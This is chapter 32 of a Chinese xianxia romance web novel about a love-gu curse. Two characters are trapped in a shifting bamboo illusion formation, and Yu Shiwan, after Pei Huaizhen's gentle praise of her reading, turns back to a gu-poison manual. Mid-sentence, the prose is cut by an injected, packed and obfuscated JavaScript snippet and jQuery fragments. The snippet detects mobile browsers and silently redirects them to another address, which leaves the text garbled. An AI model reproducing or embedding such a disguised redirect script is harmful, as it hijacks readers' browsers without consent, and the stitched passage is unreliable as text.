32. 愚蠢

作品:《与前夫合中情蛊后

    夜色如墨,把山林浸染成一片黏稠的黑暗。


    徐云赶到上官蓉儿发出惨叫的地方时,只看见月光下一片空荡荡的林地,连个人影都没有。他的心猛地一沉,拔出腰间佩刀,警惕地扫视四周。


    “上官小姐?”


    无人应答。


    林中传来夜枭的叫声,阴森而突兀。徐云紧握刀柄,目光锐利如鹰,一寸寸扫过周围的树木和灌木。不对劲,太安静了——刚才那声惨叫分明就在附近,可现在不仅人不见了,连一丝打斗的痕迹都没有。


    他蹲下身,手指拂过地上的落叶。湿润的泥土上,有一道浅浅的拖痕,指向竹林深处。


    徐云站起身,沿着拖痕的方向追去。越是深入,竹林越是茂密,月光被层层叠叠的竹叶切割成细碎的光斑,在地上投出诡异晃动的影子。空气里弥漫着某种奇异的气息,像陈年的檀香混合着某种甜腻的花香,让他感到一阵轻微的眩晕。


    “阵法?”徐云心头警铃大作。


    这可不像一般的阵法,倒像是——


    “啊!”里面再次传来上官蓉儿的尖叫声,徐云飞也一样踏到她身边,托住她差点倒下的腰,“没事吧?”


    上官蓉儿连忙直起身子,拔出剑来,冷静道:“这里好像是一个迷阵,千万小心,里面的竹子是会移动的。”


    “我知道了。”徐云蹙着眉毛很严肃地看着竹林的暗影,却发现刚才被划过痕的某一棵小竹居然在须臾移动之间摇晃成长竹模样,“看来我们不仅被困在这里,还被困在时间里。”


    “什么意思?”上官蓉儿问道。


    “这竹林里面的时间流动很快,变化就在这竹子的生长里面,它们生长的实在太快,可明明一个夜晚都还未过去。”徐云看向上官蓉儿,严肃问道,“你是怎么踏入这个阵法里面的?”


    “我听见里面有人在说话,好像在念一句诗。”上官蓉儿回忆道,“我就走了进来,谁知道就被困在了这里面。”


    “一句诗?”徐云连忙问道,“什么诗?”


    “空山新雨后,天气晚来秋。”上官蓉儿念出这句诗后,竹林的夜晚马上变成了白天的景象,某一角落的亮处,他们看见了两个虚影。


    其中一个虚影在教另一个虚影写字。


    那个教写字的虚影说道,“空山新雨后,天气晚来秋。”


    “你的名字,很美。”


    这话说完后,那个长身的虚影消失了。


    只剩下那个矮一点的虚影在重复念着这句诗。


    可他们走过去,这些虚影全部消失了,就剩下这些竹子,没知觉地变化生长着。


    “看来这个阵法跟这个人的回忆有关。”徐云道。


    “不。”上官蓉儿否定道,“我觉得,是情。”


    “我曾我爷爷说过情阵的故事,相传这是一个蛊女创造出来的,她喜欢上了一个爱而不得的人,为了得到这个人,她对这个人种下情蛊,让这个人不得不去爱她,可这个人宁愿自杀都不要爱她,蛊女抱着心上人的尸体万分悲痛,于是设下一个情阵将自己困在与他的时间里。据说只有两个真正相爱的人才能走出蛊女所设下的情阵。”上官蓉儿道。


    “一定会有别的出去的办法的。”徐云虚握着拳头,手心流着汗。


    “其实刚才那个也只是个传说了。”上官蓉儿随后坐下来,“要不休息一下吧,我们这么浪费体力也没什么作用。”


    “你不想早点出去?”徐云有些惊讶,在他看来,像上官蓉儿这种娇生惯养还有些刁蛮任性的大小姐应该可不想呆在这种地方。


    “我当然想了,不过我们这样一直攻击那些竹子也不是什么办法,这里又限制灵力无法飞行。”上官蓉儿泄了一口气。


    她坐在石头上,拿剑随便画着圈。


    其实她根本不想出去。


    任性被放弃掉的前途、自以为真心付出的爱情、还有想感谢却更该道歉的人,一切的一切都是她想逃避的。


    上官蓉儿其实也不确定那天跟上官浔说的话,到底是她敢于放弃的潇洒,还是只想逃避不想面对的失败。


    她喝醉酒说着讨厌家族安排的光辉道路,她要自己硬闯一番自己的逍遥路来,可是她真的讨厌吗?


    她其实从来就没有否认过自己作为上官家族人的身份,可她的品德心性又真的能匹配得上她的身份吗?


    可这世界上心性品德匹配不上身份的多了去了,可上官蓉儿终究不想成为那样的人。


    她作、矫情、任性,但她还是会去好好对待剑宗的那些课业,实力不够也会想着靠些小聪明来证明自己,虽然这算歪路。


    但这些她所有所有的努力,在她姐姐上官浔面前都太微不足道了。


    上官浔聪明、美貌、有天赋,五岁起就被当作家主培养,而且还有那么多人喜欢她,可她从来连一个眼神都懒得去给那些人。


    上官蓉儿讨厌她那副冷冰冰、对任何事都不关心的样子,为什么她可以不在乎那些她怎么努力都得不到的东西,无论是别人的关注还是修剑的天赋。


    徐云看着上官蓉儿这副颓废放弃的模样,突然朝她伸出剑鞘,“一直呆在原地不会有什么收获,到不如和我一起向前看看,一个人被困在这竹林阵法深处,倒不如我们一起向前走走看。”


    上官蓉儿看着他伸来的剑鞘,有些意外。


    阳光擦过他的发间,他斜侧着不看她,只朝她伸来他的剑鞘。


    不知道为什么,这一刻的徐云,让上官蓉儿觉得有些帅。


    她搭上他的剑鞘,任由他将她拉起来。


    他们朝前走着,而她只看着他的背影。


    阳光透过竹叶的缝隙照在他们身上。


    此刻虞时晚在竹影下看完了一整本的《道德经》,她现在已经识得大部分的字了。


    虽然她还不太理解这本讲得大概是什么意思,但总归也是看完了。


    反正虞时晚看书的原则就是——这页我翻过了,没有不认识的字,好,这一页读完了。


    这几个月的时间里,她已经认识大部分的字了,阅读已经没有障碍了。


    看来暗格里藏着的那本《蛊神经》差不多也该是时候拿出来了,就在她这么想的时候,裴淮真突然出现在她面前。


    “看书看得怎样了?”裴淮真道。


    “大概……不,应该算是看完了。”虞时晚刚说完,随后就立马解释道,“但我不是很懂,我只是看完了。”


    “那你有什么想要问的吗?”裴淮真问道。


    虞时晚立马从脑海中搜索,可实在想不出来什么问题,因为她根本就没怎么认真看也根本没怎么认真想过她会有什么问题。


    于是答道:“这书上的字大多我都认识,可这些话到底什么意思,我不求甚解,也不打算深入探究。”


    虞时晚原以为裴淮真


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151741|192637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会觉得她不上进,她已经做好了被淡淡瞥一眼的准备——那眼神她熟悉,像冬日里掠过冰面的风,不会责备,却足够让人自觉惭愧。


    不过她才不会有多惭愧,她心里还恨着他,恨他毁掉了自己的心血,恨他把自己困在这里,恨他给自己下毒却还装作关心照顾。


    她心里想着那么多恨他的理由,可却在一瞬间全部都消散了。


    裴淮真没有像她预想的那样,他微微侧过脸。


    午后的阳光正好从竹叶的缝隙里透彻过来,将他半张脸笼在光晕里。他那双惯常清冷的丹凤眼,眼尾天然带着一丝上扬的弧度,本该是凌厉而疏离的,此刻却因那点极淡的笑意,竟显出几分罕见的柔和。长睫在眼下投出浅浅的阴影,随着他眼睑微垂的弧度轻轻颤动,像是蝴蝶栖在了雪上。


    虞时晚好像还是第一次看见他这样笑,不是唇角刻意牵起的弧度,而是一种从眼底深处微微漾开的温软,像深潭投入了一颗小石子,涟漪很轻,却真实存在。


    “这样已经很好了。”他说,声音也比平时低缓些,像山涧的溪流在午后放慢了速度。


    虞时晚愣住了。


    裴淮真已转过身,望向窗外那一片在日光下青翠欲滴的竹林。阳光描摹着他挺拔如修竹的背影,白衣胜雪,却仿佛被镀上了一层暖金色的边。


    “就像那些竹子,”他的声音随风飘过来,很静,却也温柔,“它只是生长。不为长成栋梁之材,不为证明自己比别的竹子更挺拔,也不为取悦谁的目光,它就只是在那里,迎着日光雨露,一节一节地,长成它自己的样子。”


    他顿了顿,回过头看她。


    那双凤眸里的笑意还未完全散去,澄澈的眸光落在她脸上,带着一种她看不懂的目光,“你刚才说‘不求甚解’,看似未曾读懂书中奥义,却恰恰合了‘自然’与‘无为’的本意。不强求,不执着,不为自己还不懂而焦虑。这本身,就已经是一种难得的悟性了。”


    虞时晚张了张嘴,却不知道该说什么。


    她其实是根本不在乎,他让她读的那些书,看得那些道理,她其实就没有多在乎,她只是觉得他是为了想要控制她、驯服她,让她变得软弱听话、愚昧。


    她不想变成那样,失去自己的锋芒和骄傲。


    可是……


    “我……”她声音很轻,几乎要散在风里,“我其实只是……真的没看懂。”


    “那就允许自己看不懂。”裴淮真已经转回身,看向虞时晚,语气恢复了平日的清冽,却又似乎有什么东西不一样了,“道法自然。该懂的时候,自然会懂。”


    虞时晚抬起头,看着他被阳光勾勒得有些朦胧的侧影,心里某个坚硬的角落,忽然松动了一点点。


    就一点点。


    像是冻土裂开了一道细缝,有极微弱的、她自己都未曾察觉的暖意,悄悄渗了进去。


    虽然她也觉得自己愚蠢,但这太难太难了,要怎么能够变得像从前那样心硬如铁呢?


    还是其实她从来就没有变过,即使被骗那么多次,从冷漠无情里长出多少防备心还是会被一点点好处和温柔的话语给软化的吗?


    太蠢了。


    虞时晚自嘲笑了笑,回转身还是在暗格里拿出那本《蛊神经》。


    那一瞬间的感动归感动,但她还是很清楚明白一件事——她要成为最厉害的毒蛊术之人,然后一步一步走上她想走上的位置。